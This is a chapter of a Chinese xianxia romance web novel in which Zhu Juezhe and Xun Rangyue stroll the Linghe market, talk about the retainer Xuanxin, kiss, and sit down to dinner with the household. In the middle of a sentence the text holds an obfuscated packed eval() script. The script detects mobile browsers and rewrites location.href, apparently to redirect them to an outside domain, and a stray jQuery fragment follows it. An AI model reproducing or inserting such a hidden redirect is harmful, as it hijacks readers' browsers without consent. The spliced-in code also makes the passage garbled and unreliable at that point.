灵河的玉石出名,进城门以后,会有一个灵河坊集,灵河坊集占了八坊。
无论白天黑昼,这里的人群都像流水一般络绎不绝,熙熙攘攘,热闹非凡。
坊集的街巷井然有序,大多店铺前都会挂灯笼,有的门前会挂一些发光的灵叶子。也有的小贩等黄昏之际推车前来吆喝,很有烟火气。
店铺中间的路上中间,会竖着镶嵌一块暖黄玉石,一直连着,从街头连到街尾,行人踩上去,会扬起阵阵涟漪。
荀让月状似无意地问:“灵河多玉石,你平时炼灵器用的玉石都是哪里买的?”
祝珏泽从身旁的一棵树上揪了片灵叶子,上面蓝绿色的脉络在夜里发着光:“我很少自己来买啦,平时都让玄信买了堆白玉坊里的仓库里,要用的时候进去选就好了。”
一丝不悦在荀让月的眼里漾开,故意等了几秒,才淡声开口:“你的东西怎么都让人家收拾,他跟你很熟吗?”
祝珏泽莫名道:“他在逐影挂的文职,每月专门给他拨银两买白玉坊要用的东西,都是走公账,要是有什么信息急要的也是让他去,有什么问题吗?”
荀让月问:“那你去地下城的时候灵石不够用?”
“说了被曲花间劫了啊!”
“哦。”荀让月皮笑肉不笑道:“他不会使剑。”
祝珏泽:“?”
怎么这么酸?
笑道:“嗯嗯嗯!就你会使剑,呷醋直说啊荀公子。”玩着手中发丝,“你要是想,以后我的玉料都让你买啊。”
荀让月不接茬,撩了她一眼,来往的人有点多,有人撞到了她的肩膀。
荀让月用逐月剑圈住她,往自己这里靠,算是隔出一个小小世界 。
祝珏泽也知道荀让月只是随意开个玩笑,不是真不喜的意思,笑嘻嘻地凑近,玉兰香气直往荀让月怀里钻,很淡,也很好闻。
好一会儿,荀让月问:“他什么时候来逐影的,为什么?”
荀让月虽然没有和玄信直接接触过,但他发现玄信的效率极高。
灵石被劫以后,他能立马查到是谁劫走了灵石。祝珏泽要硫火鬼烛的信息,他第二天能把硫火鬼烛叫什么扒出来。
并且极有分寸感,干净利落,像是刻意训练过的。
要是徐家的幕僚有这么高效,还能被曲花间玩得团团转?
祝珏泽想了一会,用手指在空中点了几下:“两百多年前吧,还是三百多年,反正在祝烨当家主的时候,他就已经在逐影了。”
祝烨就是第一个在蛊楼炼蛊的神人,为什么说他神人呢?
他性情格外诡谲,心狠手辣,早些年看似无意家主之位,等到祝家那任家主上位以后,他二话不说回到祝家,笑着把那个家主的脸都给骂青了。
最后当着祝家所有人的面,食指勾起那代家主的下颚。
——那时一个格外侮辱,也格外挑衅的姿势。
问道:“你是自己滚,还是我让你滚。”
十万分的大逆不道。
最后不知道他用什么方式说服了那代家主,那代家主灰溜溜地跑了。但是祝烨显然没玩尽兴,把那代家主的亲眷杀的杀,埋的埋,就只有一两个跑掉了。
祝烨上位以后,一手创建逐影,在藏灵阁后面开了一座蛊楼,把一些走投无路只能投靠他的人,扔进蛊楼里,只出来了两个最强者,进了逐影。
那两个人,一个对祝烨起了杀心,最后被逐影令反噬而死。一个等到祝烨死后,逐影令解除,离开了灵河。
祝珏泽曾在白玉坊的经楼里瞧见过一个笔记,上面估计是哪个贪玩的祝家前辈年轻时候写的。
——问祝烨对祝家的影响。
——答:狗见了都摇头。
“所以,玄信有可能是那一代逐影成员中的一位?”
祝珏泽知道里面疑点很多,但玄信是一直待在祝家逐影的,几百年了从未有过二心,比起一个独立的人……
对,比起一个独立的人,他更像是一个忠诚的工具。
祝珏泽把他当做朋友来看,就没有多问其中关窍,于是揶揄道:“不知道啊荀公子,我和他真的没那么熟。”
荀让月知道祝珏泽在打趣他,用剑鞘不轻不重地打了一下她的腰。
谁知,祝珏泽对这一下格外敏感,吓了一跳,半个身子都跳到他怀了,被荀让月扶住以后,她还煞有介事地求饶道:“好痒,可别吓我了荀公子。”
她以为荀让月会脸红着把她推开,再不济也会偏偏头,让她注意分寸什么的。
结果,荀让月不偏不倚,就这般静静地搂着她。祝珏泽心下奇怪,幅度极小地抬了下头,便对上那双格外好看的眸子。
男人的颈部下颚的线条很优越,扬起一条漂亮的弧度,肌肤白皙,一双眸子颜色深深,明灯的一点光晕透进他的眸子里,眼尾有些上挑,那么专注地看着自己。
好像要把自己的一颦一笑都刻进心里似的。
祝珏泽莫名红了脸,心跳极快,连忙就要从他的怀里滚出来。
滚到一半,又被荀让月一把拉回去了。
问道:“不是喜欢抱着吗,怎么又跑?”
祝珏泽猛地拉起荀让月的手腕,咬牙在上面掐了一下,白皙的皮肤上立马起了点红印。
自己明明想揍他的,明知故问,该打!
结果一看起印子了,自己先舍不得了,食指不知觉在上面滑了两下,拽着荀让月就往前飞快走。
人流有点大,稍不注意就会和别人撞一下。
荀让月既要用剑鞘护着祝珏泽,别让她被别人撞着了,又要注意自己不要被撞到,真真是手忙脚乱。
他连“哎”了几声,好笑之余,又有些无奈。
五十步笑百步。
她明明自己恼羞成怒,还要打趣他呷醋。
他们就在来去行人间窜来窜去,像一对灵活的飞鸟。
……平白小了十岁。
祝珏泽猛地一听,荀让月差点撞她身上。
无奈道:“你羞归羞,拉着我到处跑干嘛。”
祝珏泽横了他一眼,拍了拍身上,平复呼吸,把头上的簪子扶正。
“你才羞了,谁怕了,我才没看见!”
荀让月估摸着还有一小段路就到白玉坊了,看她的样子,怕是不好意思叫人瞧见,好笑道:“怎么,祝坊主怎么还有包袱,怕被他们瞧见啊?”
祝珏泽给他几下:“就你聪明,就你聪明!”接着放开荀让月,道:“你拉着我。”
半天荀让月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345073|183481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都没应,祝珏泽赌气,抱臂就往前走。
边走边心道,真是奇怪,他来都没几天,自己怎么这么无理取闹了。
就好像他一定要应一样。
莫名其妙的包袱,莫名其妙的喜欢,还有莫名其妙的赌气。
怎么回事,谈个恋爱把脑子谈傻了吗。
……可是,当年在陇翠山的时候,她好像也是这样。
蠢的要死啊啊啊啊啊啊。
看来坊主一谈恋爱就变傻。
没走两步,荀让月就抓住她的手腕,力道不轻不重。
他的手上生了一些茧,就些磨人,但是很暖和。
祝珏泽的心好像上好像有很多蚂蚁窸窸窣窣地爬过,很痒。
她回过头,在荀让月唇上蜻蜓点水般落下一吻。
将离之时,荀让月另一只手抚过她的发丝,轻轻按住她的头,又将唇覆了上去。
耳鬓厮磨,格外缠绵,两人的体温都快要融在一起。离开时,祝珏泽的嘴角拉起一条细细的银丝。
荀让月抬手,帮她擦掉了。
他的手还是稳稳握住祝珏泽的手腕,祝珏泽心下又喜欢,又羞怯。
默不作声地带着他前走,带着他家去。
————————————
奚羽衣开门,看见两个人的表情,顿时后悔是自己来开的门。
早知道让玄信来开门啊,反正都是万年不变的扑克脸,撞见什么都是那个表情!
奚羽衣不管心里诽谤些什么,面上是绝对瞧不出来的。她常年面如白纸,但是眼睛就像镜湖一样平和。
她道:“回来得巧了,花间说要大展身手,最后一道菜都快做好了。”
“今天天气好,不在堂屋吃。曲花间把菜摆在花廊边的那张石桌上。”
祝珏泽当年一回灵河,就把家中小厮婢女遣散了,就留了奚羽衣和玄信。
玄信不用吃饭,又常年泡在影子里,随时还要出任务,往清平跑,基本见不到人的,
奚羽衣在药坊给人看病,她价钱公道,说话又细声细语,很多人生了病都会去找她,白天很忙,晚上很少吃晚饭,回白玉坊的时候,早就披了一身星星了。
所以平日里白玉坊格外冷清,祝珏泽平时只用那么几间屋子,占不了多少地方,后面还有一些亭台楼阁,都是被封了的。
她也是除了处理坊间事物就是闭关炼器,心平气和吃顿饭都很少。
后来脱胎换骨以后,连吃饭的需求都没了,活得实在不像个人。
也就流灯节会出去吃顿饭,算是聚一下。
他们到花廊,先是一阵悠扬的笛声。
笛声低沉,像是在地下未见过太阳的暗河,连奔流起来都没有方向,茫然得紧。
玄信原是背对众人,他常年穿暗色衣装,匿在黑暗里,存在感很低。
见众人齐了,他才利落地过来。
曲花间正好端上了最后一盘菜。
今天下午还奄奄一息的,到了晚上就活蹦乱跳了,她的声音很媚,却很大方:“在地下城做了这么久的老板娘,少客气,试试我的手艺。”
奚羽衣细心地留了两个挨一起的位置,让荀让月和祝珏泽坐在一起。
很久没有过了,家的感觉。